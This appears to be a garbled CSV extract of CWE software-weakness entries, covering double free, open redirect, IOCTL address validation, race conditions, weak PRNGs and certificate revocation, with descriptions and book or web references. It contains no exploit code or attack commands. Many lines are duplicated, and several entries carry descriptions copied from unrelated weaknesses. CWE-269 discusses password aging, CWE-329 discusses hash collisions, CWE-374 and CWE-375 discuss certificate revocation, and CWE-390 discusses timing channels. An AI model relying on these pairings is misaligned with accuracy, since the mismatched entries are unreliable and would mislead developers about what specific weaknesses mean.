363363 When a program calls free() twice with the same argument, the program's memory management data structures become corrupted. This corruption can cause the program to crash or, in some circumstances, cause two later calls to malloc() to return the same pointer. If malloc() returns the same value twice and the program later gives the attacker control over the data that is written into this doubly-allocated memory, the program becomes vulnerable to a buffer overflow attack.",,medium,"24 Deadly Sins of Software Security: ""Sin 8: C++ Catastrophes."" Page 143
364 The Art of Software Security Assessment: Chapter 7, ""Double Frees"", Page 379."
364 The Art of Software Security Assessment: Chapter 7, ""Double Frees"", Page 379."
365365 CWE-59,Improper Link Resolution Before File Access (Link Following) (Type: Base),"The software attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
366 Some functions that offer security features supported by the OS are not available on all versions of the OS in common use. Likewise, functions are often deprecated or made obsolete for security reasons and should not be used.",,medium,"The Art of Software Security Assessment: Chapter 9, ""Symbolic Link Attacks"", Page 518."
366 Some functions that offer security features supported by the OS are not available on all versions of the OS in common use. Likewise, functions are often deprecated or made obsolete for security reasons and should not be used.",,medium,"The Art of Software Security Assessment: Chapter 9, ""Symbolic Link Attacks"", Page 518."
367367 CWE-601,URL Redirection to Untrusted Site (Open Redirect) (Type: Variant),"A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.
368368 An http parameter may contain a URL value and could cause the web application to redirect the request to the specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance.",,medium,"Exploitable Redirects on the Web: Identification, Prevalence, and Defense: http://www.cs.indiana.edu/cgi-pub/cshue/research/woot08.pdf
369369 Open redirect vulnerabilities: definition and prevention: http://www.net-security.org/dl/insecure/INSECURE-Mag-17.pdf
370370 Top 25 Series - Rank 23 - Open Redirect: http://software-security.sans.org/blog/2010/03/25/top-25-series-rank-23-open-redirect
371 OWASP Enterprise Security API (ESAPI) Project: http://www.owasp.org/index.php/ESAPI"
371 OWASP Enterprise Security API (ESAPI) Project: http://www.owasp.org/index.php/ESAPI"
372372 CWE-749,Exposed Dangerous Method or Function (Type: Base),"The software provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.
373373 This weakness can lead to a wide variety of resultant weaknesses, depending on the behavior of the exposed method. It can apply to any number of technologies and approaches, such as ActiveX controls, Java functions, IOCTLs, and so on.
374374 The exposure can occur in a few different ways:
375375 1) The function/method was never intended to be exposed to outside actors.
376376 2) The function/method was only intended to be accessible to a limited set of actors, such as Internet-based access from a single web site.",,medium,"No description: http://msdn.microsoft.com/workshop/components/activex/safety.asp
377 No description: http://msdn.microsoft.com/workshop/components/activex/security.asp"
377 No description: http://msdn.microsoft.com/workshop/components/activex/security.asp"
378378 CWE-755,Improper Handling of Exceptional Conditions (Type: Class),"The software does not handle or incorrectly handles an exceptional condition.
379379 The programmer may assume that certain events or conditions will never occur or do not need to be worried about, such as low memory conditions, lack of access to resources due to restrictive permissions, or misbehaving clients or components. However, attackers may intentionally trigger these unusual conditions, thus violating the programmer's assumptions, possibly introducing instability, incorrect behavior, or a vulnerability.
380 Note that this entry is not exclusively about the use of exceptions and exception handling, which are mechanisms for both checking and handling unusual or unexpected conditions.",,medium,
380 Note that this entry is not exclusively about the use of exceptions and exception handling, which are mechanisms for both checking and handling unusual or unexpected conditions.",,medium,
381381 CWE-766,Critical Variable Declared Public (Type: Variant),"The software declares a critical variable or field to be public when intended security policy requires it to be private.
382 When software is operating in a concurrent environment and repeatedly unlocks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra calls to unlock will increase the count for the number of available resources, likely resulting in a crash or unpredictable behavior when the system nears capacity.",,medium,
382 When software is operating in a concurrent environment and repeatedly unlocks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra calls to unlock will increase the count for the number of available resources, likely resulting in a crash or unpredictable behavior when the system nears capacity.",,medium,
383383 CWE-767,Access to Critical Private Variable via Public Method (Type: Variant),"The software defines a public method that reads or modifies a private variable.
384 If an attacker modifies the variable to contain unexpected values, this could violate assumptions from other parts of the code. Additionally, if an attacker can read the private variable, it may expose sensitive information or make it easier to launch further attacks.",,medium,
384 If an attacker modifies the variable to contain unexpected values, this could violate assumptions from other parts of the code. Additionally, if an attacker can read the private variable, it may expose sensitive information or make it easier to launch further attacks.",,medium,
385385 CWE-776,Improper Restriction of Recursive Entity References in DTDs (XML Entity Expansion) (Type: Variant),"The software uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities.
386386 If the DTD contains a large number of nested or recursive entities, this can lead to explosive growth of data when parsed, causing a denial of service.",,medium,"Multiple vendors XML parser (and SOAP/WebServices server) Denial of Service attack using DTD: http://www.securityfocus.com/archive/1/303509
387387 XML security: Preventing XML bombs: http://searchsoftwarequality.techtarget.com/expert/KnowledgebaseAnswer/0,289625,sid92_gci1168442,00.html?asrc=SS_CLA_302%20%20558&psrc=CLT_92#
389389 XML Entity Expansion: http://projects.webappsec.org/XML-Entity-Expansion
390390 Tip: Configure SAX parsers for secure processing: http://www.ibm.com/developerworks/xml/library/x-tipcfsx.html
391391 XML Denial of Service Attacks and Defenses: http://msdn.microsoft.com/en-us/magazine/ee335713.aspx
392 Preventing Entity Expansion Attacks in JAXB: http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html"
392 Preventing Entity Expansion Attacks in JAXB: http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html"
393393 CWE-777,Regular Expression without Anchors (Type: Variant),"The software uses a regular expression to perform neutralization, but the regular expression is not anchored and may allow malicious or malformed data to slip through.
394 When performing tasks such as whitelist validation, data is examined and possibly modified to ensure that it is well-formed and adheres to a list of safe values. If the regular expression is not anchored, malicious or malformed data may be included before or after any string matching the regular expression. The type of malicious data that is allowed will depend on the context of the application and which anchors are omitted from the regular expression.",,medium,
394 When performing tasks such as whitelist validation, data is examined and possibly modified to ensure that it is well-formed and adheres to a list of safe values. If the regular expression is not anchored, malicious or malformed data may be included before or after any string matching the regular expression. The type of malicious data that is allowed will depend on the context of the application and which anchors are omitted from the regular expression.",,medium,
395395 CWE-779,Logging of Excessive Data (Type: Base),"The software logs too much information, making log files hard to process and possibly hindering recovery efforts or forensic analysis after an attack.
396 While logging is a good practice in general, and very high levels of logging are appropriate for debugging stages of development, too much logging in a production environment might hinder a system administrator's ability to detect anomalous conditions. This can provide cover for an attacker while attempting to penetrate a system, clutter the audit trail for forensic analysis, or make it more difficult to debug problems in a production environment.",,medium,
396 While logging is a good practice in general, and very high levels of logging are appropriate for debugging stages of development, too much logging in a production environment might hinder a system administrator's ability to detect anomalous conditions. This can provide cover for an attacker while attempting to penetrate a system, clutter the audit trail for forensic analysis, or make it more difficult to debug problems in a production environment.",,medium,
397397 CWE-781,Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code (Type: Variant),"The software defines an IOCTL that uses METHOD_NEITHER for I/O, but it does not validate or incorrectly validates the addresses that are provided.
398398 When an IOCTL uses the METHOD_NEITHER option for I/O control, it is the responsibility of the IOCTL to validate the addresses that have been supplied to it. If validation is missing or incorrect, attackers can supply arbitrary memory addresses, leading to code execution or a denial of service.",,medium,"Exploiting Common Flaws in Drivers: http://reversemode.com/index.php?option=com_content&task=view&id=38&Itemid=1
399399 Remote and Local Exploitation of Network Drivers: https://www.blackhat.com/presentations/bh-usa-07/Bulygin/Presentation/bh-usa-07-bulygin.pdf
401401 Buffer Descriptions for I/O Control Codes: http://msdn.microsoft.com/en-us/library/ms795857.aspx
402402 Using Neither Buffered Nor Direct I/O: http://msdn.microsoft.com/en-us/library/cc264614.aspx
403403 Securing Device Objects: http://msdn.microsoft.com/en-us/library/ms794722.aspx
404 No description: http://www.piotrbania.com/all/articles/ewdd.pdf"
404 No description: http://www.piotrbania.com/all/articles/ewdd.pdf"
405405 CWE-782,Exposed IOCTL with Insufficient Access Control (Type: Variant),"The software implements an IOCTL with functionality that should be restricted, but it does not properly enforce access control for the IOCTL.
406406 When an IOCTL contains privileged functionality and is exposed unnecessarily, attackers may be able to access this functionality by invoking the IOCTL. Even if the functionality is benign, if the programmer has assumed that the IOCTL would only be accessed by a trusted process, there may be little or no validation of the incoming data, exposing weaknesses that would never be reachable if the attacker cannot call the IOCTL directly.
407 The implementations of IOCTLs will differ between operating system types and versions, so the methods of attack and prevention may vary widely.",,medium,Securing Device Objects: http://msdn.microsoft.com/en-us/library/ms794722.aspx
407 The implementations of IOCTLs will differ between operating system types and versions, so the methods of attack and prevention may vary widely.",,medium,Securing Device Objects: http://msdn.microsoft.com/en-us/library/ms794722.aspx
408408 CWE-117,Improper Output Neutralization for Logs (Type: Base),"The software does not neutralize or incorrectly neutralizes output that is written to logs.
409409 This can allow an attacker to forge log entries or inject malicious content into logs.
410410 Log forging vulnerabilities occur when:
411411 Data enters an application from an untrusted source.
412412 The data is written to an application or system log file.",,medium,"Exploiting Software: How to Break Code
413413 The night the log was forged: http://doc.novsu.ac.ru/oreilly/tcpip/puis/ch10_05.htm
414 OWASP TOP 10: http://www.owasp.org/index.php/Top_10_2007"
414 OWASP TOP 10: http://www.owasp.org/index.php/Top_10_2007"
415415 CWE-124,Buffer Underwrite (Buffer Underflow) (Type: Base),"The software writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.
416416 This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.",,medium,"Buffer UNDERFLOWS: What do you know about it?: http://seclists.org/vuln-dev/2004/Jan/0022.html
417 24 Deadly Sins of Software Security: ""Sin 5: Buffer Overruns."" Page 89"
417 24 Deadly Sins of Software Security: ""Sin 5: Buffer Overruns."" Page 89"
418418 CWE-128,Wrap-around Error (Type: Base),"Wrap around errors occur whenever a value is incremented past the maximum value for its type and therefore ""wraps around"" to a very small, negative, or undefined value.
419419 This typically occurs when the pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used. This may result in exposure of sensitive information or possibly a crash.",,medium,"24 Deadly Sins of Software Security: ""Sin 5: Buffer Overruns."" Page 89
420 The Art of Software Security Assessment: Chapter 6, ""Signed Integer Boundaries"", Page 220."
420 The Art of Software Security Assessment: Chapter 6, ""Signed Integer Boundaries"", Page 220."
421421 CWE-170,Improper Null Termination (Type: Base),"The software does not terminate or incorrectly terminates a string or array with a null character or equivalent terminator.
422 Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.",,medium,
422 Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.",,medium,
423423 CWE-190,Integer Overflow or Wraparound (Type: Base),"The software performs a calculation that can produce an integer overflow or wraparound, when the logic assumes that the resulting value will always be larger than the original value. This can introduce other weaknesses when the calculation is used for resource management or execution control.
424424 An integer overflow or wraparound occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may wrap to become a very small or negative number. While this may be intended behavior in circumstances that rely on wrapping, it can have security consequences if the wrap is unexpected. This is especially the case if the integer overflow can be triggered using user-supplied inputs. This becomes security-critical when the result is used to control looping, make a security decision, or determine the offset or size in behaviors such as memory allocation, copying, concatenation, etc.",,medium,"An overview of common programming security vulnerabilities and possible solutions: http://fort-knox.org/thesis.pdf
425425 Basic Integer Overflows: http://www.phrack.org/issues.html?issue=60&id=10#article
427427 24 Deadly Sins of Software Security: ""Sin 7: Integer Overflows."" Page 119
428428 SafeInt: http://safeint.codeplex.com/
429429 Top 25 Series - Rank 17 - Integer Overflow Or Wraparound: http://software-security.sans.org/blog/2010/03/18/top-25-series-rank-17-integer-overflow-or-wraparound
430 The Art of Software Security Assessment: Chapter 6, ""Signed Integer Boundaries"", Page 220."
430 The Art of Software Security Assessment: Chapter 6, ""Signed Integer Boundaries"", Page 220."
431431 CWE-196,Unsigned to Signed Conversion Error (Type: Variant),"An unsigned-to-signed conversion error takes place when a large unsigned primitive is used as a signed value.
432 It is dangerous to rely on implicit casts between signed and unsigned numbers because the result can take on an unexpected value and violate assumptions made by the program.",,medium,"The Art of Software Security Assessment: Chapter 6, ""Type Conversions"", Page 223."
432 It is dangerous to rely on implicit casts between signed and unsigned numbers because the result can take on an unexpected value and violate assumptions made by the program.",,medium,"The Art of Software Security Assessment: Chapter 6, ""Type Conversions"", Page 223."
433433 CWE-202,Exposure of Sensitive Data Through Data Queries (Type: Variant),"When trying to keep information confidential, an attacker can often infer some of the information by using statistics.
434 In situations where data should not be tied to individual users, but a large number of users should be able to make queries that ""scrub"" the identity of users, it may be possible to get information about a user -- e.g., by specifying search terms that are known to be unique to that user.",,medium,
434 In situations where data should not be tied to individual users, but a large number of users should be able to make queries that ""scrub"" the identity of users, it may be possible to get information about a user -- e.g., by specifying search terms that are known to be unique to that user.",,medium,
435435 CWE-250,Execution with Unnecessary Privileges (Type: Class),"The software performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses.
436436 New weaknesses can be exposed because running with extra privileges, such as root or Administrator, can disable the normal security checks being performed by the operating system or surrounding environment. Other pre-existing weaknesses can turn into security vulnerabilities if they occur while operating at raised privileges.
437437 Privilege management functions can behave in some less-than-obvious ways, and they have different quirks on different platforms. These inconsistencies are particularly pronounced if you are transitioning from one non-root user to another. Signal handlers and spawned processes run at the privilege of the owning process, so if a process is running as root when a signal fires or a sub-process is executed, the signal handler or sub-process will operate with root privileges.",,medium,"The Protection of Information in Computer Systems: http://web.mit.edu/Saltzer/www/publications/protection/
439439 Writing Secure Code: Chapter 7, ""Running with Least Privilege"" Page 207
440440 Federal Desktop Core Configuration: http://nvd.nist.gov/fdcc/index.cfm
441441 24 Deadly Sins of Software Security: ""Sin 16: Executing Code With Too Much Privilege."" Page 243
442 The Art of Software Security Assessment: Chapter 9, ""Privilege Vulnerabilities"", Page 477."
442 The Art of Software Security Assessment: Chapter 9, ""Privilege Vulnerabilities"", Page 477."
443443 CWE-269,Improper Privilege Management (Type: Base),"The software does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
444444 Just as neglecting to include functionality for the management of password aging is dangerous, so is allowing password aging to continue unchecked. Passwords must be given a maximum life span, after which a user is required to update with a new and different password.",,medium,"24 Deadly Sins of Software Security: ""Sin 16: Executing Code With Too Much Privilege."" Page 243
445 The Art of Software Security Assessment: Chapter 9, ""Dropping Privileges Permanently"", Page 479."
445 The Art of Software Security Assessment: Chapter 9, ""Dropping Privileges Permanently"", Page 479."
446446 CWE-273,Improper Check for Dropped Privileges (Type: Base),"The software attempts to drop privileges but does not check or incorrectly checks to see if the drop succeeded.
447 If the drop fails, the software will continue to run with the raised privileges, which might provide additional access to unprivileged users.",,medium,
447 If the drop fails, the software will continue to run with the raised privileges, which might provide additional access to unprivileged users.",,medium,
448448 CWE-276,Incorrect Default Permissions (Type: Variant),"The software, upon installation, sets incorrect permissions for an object that exposes it to an unintended actor.
449 If the drop fails, the software will continue to run with the raised privileges, which might provide additional access to unprivileged users.",,medium,"The Art of Software Security Assessment: Chapter 3, ""Insecure Defaults"", Page 69."
449 If the drop fails, the software will continue to run with the raised privileges, which might provide additional access to unprivileged users.",,medium,"The Art of Software Security Assessment: Chapter 3, ""Insecure Defaults"", Page 69."
450450 CWE-299,Improper Check for Certificate Revocation (Type: Variant),"The software does not check or incorrectly checks the revocation status of a certificate, which may cause it to use a certificate that has been compromised.
451 An improper check for certificate revocation is a far more serious flaw than related certificate failures. This is because the use of any revoked certificate is almost certainly malicious. The most common reason for certificate revocation is compromise of the system in question, with the result that no legitimate servers will be using a revoked certificate, unless they are sorely out of sync.",,medium,"24 Deadly Sins of Software Security: ""Sin 23: Improper Use of PKI, Especially SSL."" Page 347"
451 An improper check for certificate revocation is a far more serious flaw than related certificate failures. This is because the use of any revoked certificate is almost certainly malicious. The most common reason for certificate revocation is compromise of the system in question, with the result that no legitimate servers will be using a revoked certificate, unless they are sorely out of sync.",,medium,"24 Deadly Sins of Software Security: ""Sin 23: Improper Use of PKI, Especially SSL."" Page 347"
452452 CWE-301,Reflection Attack in an Authentication Protocol (Type: Variant),"Simple authentication protocols are subject to reflection attacks if a malicious user can use the target machine to impersonate a trusted user.
453 A mutual authentication protocol requires each party to respond to a random challenge by the other party by encrypting it with a pre-shared key. Often, however, such protocols employ the same pre-shared key for communication with a number of different entities. A malicious user or an attacker can easily compromise this protocol without possessing the correct key by employing a reflection attack on the protocol.",,medium,"The Art of Software Security Assessment: Chapter 2, ""Insufficient Validation"", Page 38."
453 A mutual authentication protocol requires each party to respond to a random challenge by the other party by encrypting it with a pre-shared key. Often, however, such protocols employ the same pre-shared key for communication with a number of different entities. A malicious user or an attacker can easily compromise this protocol without possessing the correct key by employing a reflection attack on the protocol.",,medium,"The Art of Software Security Assessment: Chapter 2, ""Insufficient Validation"", Page 38."
454454 CWE-329,Not Using a Random IV with CBC Mode (Type: Variant),"Not using a random initialization Vector (IV) with Cipher Block Chaining (CBC) Mode causes algorithms to be susceptible to dictionary attacks.
455 This weakness is especially dangerous when the hash is used in security algorithms that require the one-way property to hold. For example, if an authentication system takes an incoming password and generates a hash, then compares the hash to another hash that it has stored in its authentication database, then the ability to create a collision could allow an attacker to provide an alternate password that produces the same target hash, bypassing authentication.",,medium,"The Art of Software Security Assessment: Chapter 2, ""Initialization Vectors"", Page 42."
455 This weakness is especially dangerous when the hash is used in security algorithms that require the one-way property to hold. For example, if an authentication system takes an incoming password and generates a hash, then compares the hash to another hash that it has stored in its authentication database, then the ability to create a collision could allow an attacker to provide an alternate password that produces the same target hash, bypassing authentication.",,medium,"The Art of Software Security Assessment: Chapter 2, ""Initialization Vectors"", Page 42."
456456 CWE-332,Insufficient Entropy in PRNG (Type: Variant),"The lack of entropy available for, or used by, a Pseudo-Random Number Generator (PRNG) can be a stability and security threat.
457 When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.",,medium,SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES: http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
457 When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.",,medium,SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES: http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
458458 CWE-338,Use of Cryptographically Weak PRNG (Type: Base),"The product uses a Pseudo-Random Number Generator (PRNG) in a security context, but the PRNG is not cryptographically strong.
459 The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.",,medium,"24 Deadly Sins of Software Security: ""Sin 20: Weak Random Numbers."" Page 299"
459 The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.",,medium,"24 Deadly Sins of Software Security: ""Sin 20: Weak Random Numbers."" Page 299"
460460 CWE-353,Missing Support for Integrity Check (Type: Base),"The software uses a transmission protocol that does not include a mechanism for verifying the integrity of the data during transmission, such as a checksum.
461 If integrity check values or ""checksums"" are omitted from a protocol, there is no way of determining if data has been corrupted in transmission. The lack of checksum functionality in a protocol removes the first application-level check of data that can be used. The end-to-end philosophy of checks states that integrity checks should be performed at the lowest level that they can be completely implemented. Excluding further sanity checks and input validation performed by applications, the protocol's checksum is the most important level of checksum, since it can be performed more completely than at any previous level and takes into account entire messages, as opposed to single packets.",,medium,"24 Deadly Sins of Software Security: ""Sin 15: Not Updating Easily."" Page 231"
461 If integrity check values or ""checksums"" are omitted from a protocol, there is no way of determining if data has been corrupted in transmission. The lack of checksum functionality in a protocol removes the first application-level check of data that can be used. The end-to-end philosophy of checks states that integrity checks should be performed at the lowest level that they can be completely implemented. Excluding further sanity checks and input validation performed by applications, the protocol's checksum is the most important level of checksum, since it can be performed more completely than at any previous level and takes into account entire messages, as opposed to single packets.",,medium,"24 Deadly Sins of Software Security: ""Sin 15: Not Updating Easily."" Page 231"
462462 CWE-354,Improper Validation of Integrity Check Value (Type: Base),"The software does not validate or incorrectly validates the integrity check values or ""checksums"" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.
463 Improper validation of checksums before use results in an unnecessary risk that can easily be mitigated. The protocol specification describes the algorithm used for calculating the checksum. It is then a simple matter of implementing the calculation and verifying that the calculated checksum and the received checksum match. Improper verification of the calculated checksum and the received checksum can lead to far greater consequences.",,medium,
463 Improper validation of checksums before use results in an unnecessary risk that can easily be mitigated. The protocol specification describes the algorithm used for calculating the checksum. It is then a simple matter of implementing the calculation and verifying that the calculated checksum and the received checksum match. Improper verification of the calculated checksum and the received checksum can lead to far greater consequences.",,medium,
464464 CWE-362,Concurrent Execution using Shared Resource with Improper Synchronization (Race Condition) (Type: Class),"The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
465465 This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider.
466466 A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc.
478478 On Race Vulnerabilities in Web Applications: http://security.dico.unimi.it/~roberto/pubs/dimva08-web.pdf
479479 Avoiding Race Conditions and Insecure File Operations: http://developer.apple.com/documentation/Security/Conceptual/SecureCodingGuide/Articles/RaceConditions.html
480480 Top 25 Series - Rank 25 - Race Conditions: http://blogs.sans.org/appsecstreetfighter/2010/03/26/top-25-series-rank-25-race-conditions/
481 Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html"
481 Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html"
482482 CWE-364,Signal Handler Race Condition (Type: Base),"The software uses a signal handler that introduces a race condition.
483483 Race conditions frequently occur in signal handlers, since signal handlers support asynchronous actions. These race conditions have a variety of root causes and symptoms. Attackers may be able to exploit a signal handler race condition to cause the software state to be corrupted, possibly leading to a denial of service or even code execution.
484484 These issues occur when non-reentrant functions, or state-sensitive actions occur in the signal handler, where they may be called at any time. These behaviors can violate assumptions being made by the ""regular"" code that is interrupted, or by other signal handlers that may also be invoked. If these functions are called at an inopportune moment - such as while a non-reentrant function is already running - memory corruption could occur that may be exploitable for code execution. Another signal race condition commonly found occurs when free is called within a signal handler, resulting in a double free and therefore a write-what-where condition. Even if a given pointer is set to NULL after it has been freed, a race condition still exists between the time the memory was freed and the pointer was set to NULL. This is especially problematic if the same signal handler has been set for more than one signal -- since it means that the signal handler itself may be reentered.
496496 Disabling or masking other signals, which provides atomicity (which effectively ensures exclusivity)",,medium,"Delivering Signals for Fun and Profit: http://lcamtuf.coredump.cx/signals.txt
497497 Race Condition: Signal Handling: http://www.fortify.com/vulncat/en/vulncat/cpp/race_condition_signal_handling.html
498498 24 Deadly Sins of Software Security: ""Sin 13: Race Conditions."" Page 205
499 The Art of Software Security Assessment: Chapter 13, ""Signal Vulnerabilities"", Page 791."
499 The Art of Software Security Assessment: Chapter 13, ""Signal Vulnerabilities"", Page 791."
500500 CWE-365,Race Condition in Switch (Type: Base),"The code contains a switch statement in which the switched variable can be modified while the switch is still executing, resulting in unexpected behavior.
501501 Race conditions frequently occur in signal handlers, since signal handlers support asynchronous actions. These race conditions have a variety of root causes and symptoms. Attackers may be able to exploit a signal handler race condition to cause the software state to be corrupted, possibly leading to a denial of service or even code execution.
502502 These issues occur when non-reentrant functions, or state-sensitive actions occur in the signal handler, where they may be called at any time. These behaviors can violate assumptions being made by the ""regular"" code that is interrupted, or by other signal handlers that may also be invoked. If these functions are called at an inopportune moment - such as while a non-reentrant function is already running - memory corruption could occur that may be exploitable for code execution. Another signal race condition commonly found occurs when free is called within a signal handler, resulting in a double free and therefore a write-what-where condition. Even if a given pointer is set to NULL after it has been freed, a race condition still exists between the time the memory was freed and the pointer was set to NULL. This is especially problematic if the same signal handler has been set for more than one signal -- since it means that the signal handler itself may be reentered.
511511 Avoiding shared state
512512 Using synchronization in the signal handler
513513 Using synchronization in the regular code
514 Disabling or masking other signals, which provides atomicity (which effectively ensures exclusivity)",,medium,"24 Deadly Sins of Software Security: ""Sin 13: Race Conditions."" Page 205"
514 Disabling or masking other signals, which provides atomicity (which effectively ensures exclusivity)",,medium,"24 Deadly Sins of Software Security: ""Sin 13: Race Conditions."" Page 205"
515515 CWE-366,Race Condition within a Thread (Type: Base),"If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined.
516516 Race conditions frequently occur in signal handlers, since signal handlers support asynchronous actions. These race conditions have a variety of root causes and symptoms. Attackers may be able to exploit a signal handler race condition to cause the software state to be corrupted, possibly leading to a denial of service or even code execution.
517517 These issues occur when non-reentrant functions, or state-sensitive actions occur in the signal handler, where they may be called at any time. These behaviors can violate assumptions being made by the ""regular"" code that is interrupted, or by other signal handlers that may also be invoked. If these functions are called at an inopportune moment - such as while a non-reentrant function is already running - memory corruption could occur that may be exploitable for code execution. Another signal race condition commonly found occurs when free is called within a signal handler, resulting in a double free and therefore a write-what-where condition. Even if a given pointer is set to NULL after it has been freed, a race condition still exists between the time the memory was freed and the pointer was set to NULL. This is especially problematic if the same signal handler has been set for more than one signal -- since it means that the signal handler itself may be reentered.
527527 Using synchronization in the signal handler
528528 Using synchronization in the regular code
529529 Disabling or masking other signals, which provides atomicity (which effectively ensures exclusivity)",,medium,"24 Deadly Sins of Software Security: ""Sin 13: Race Conditions."" Page 205
530 The Art of Software Security Assessment: Chapter 13, ""Race Conditions"", Page 759."
530 The Art of Software Security Assessment: Chapter 13, ""Race Conditions"", Page 759."
531531 CWE-369,Divide By Zero (Type: Base),"The product divides a value by zero.
532532 This weakness typically occurs when an unexpected value is provided to the product, or if an error occurs that is not properly detected. It frequently occurs in calculations involving physical dimensions such as size, length, width, and height.",,medium,"No description: http://www.cprogramming.com/tutorial/exceptions.html
533 No description: http://msdn.microsoft.com/en-us/library/ms173160(VS.80).aspx"
533 No description: http://msdn.microsoft.com/en-us/library/ms173160(VS.80).aspx"
534534 CWE-370,Missing Check for Certificate Revocation after Initial Check (Type: Base),"The software does not check the revocation status of a certificate after its initial revocation check, which can cause the software to perform privileged actions even after the certificate is revoked at a later time.
535 If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.",,medium,"24 Deadly Sins of Software Security: ""Sin 13: Race Conditions."" Page 205"
535 If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.",,medium,"24 Deadly Sins of Software Security: ""Sin 13: Race Conditions."" Page 205"
536536 CWE-374,Passing Mutable Objects to an Untrusted Method (Type: Base),"Sending non-cloned mutable data as an argument may result in that data being altered or deleted by the called function, thereby putting the calling function into an undefined state.
537537 If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.",,medium,"Does Java pass by reference or pass by value?: http://www.javaworld.com/javaworld/javaqa/2000-05/03-qa-0526-pass.html
538 Java: The Complete Reference, J2SE 5th Edition"
538 Java: The Complete Reference, J2SE 5th Edition"
539539 CWE-375,Returning a Mutable Object to an Untrusted Caller (Type: Base),"Sending non-cloned mutable data as a return value may result in that data being altered or deleted by the calling function, thereby putting the class in an undefined state.
540 If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.",,medium,
540 If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.",,medium,
541541 CWE-385,Covert Timing Channel (Type: Base),"Covert timing channels convey information by modulating some aspect of system behavior over time, so that the program receiving the information can observe system behavior and infer protected information.
542542 In some instances, knowing when data is transmitted between parties can provide a malicious user with privileged information. Also, externally monitoring the timing of operations can potentially reveal sensitive data. For example, a cryptographic operation can expose its internal state if the time it takes to perform the operation varies, based on the state.
543 Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.",,medium,
543 Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.",,medium,
544544 CWE-390,Detection of Error Condition Without Action (Type: Class),"The software detects a specific error, but takes no actions to handle the error.
545545 In some instances, knowing when data is transmitted between parties can provide a malicious user with privileged information. Also, externally monitoring the timing of operations can potentially reveal sensitive data. For example, a cryptographic operation can expose its internal state if the time it takes to perform the operation varies, based on the state.
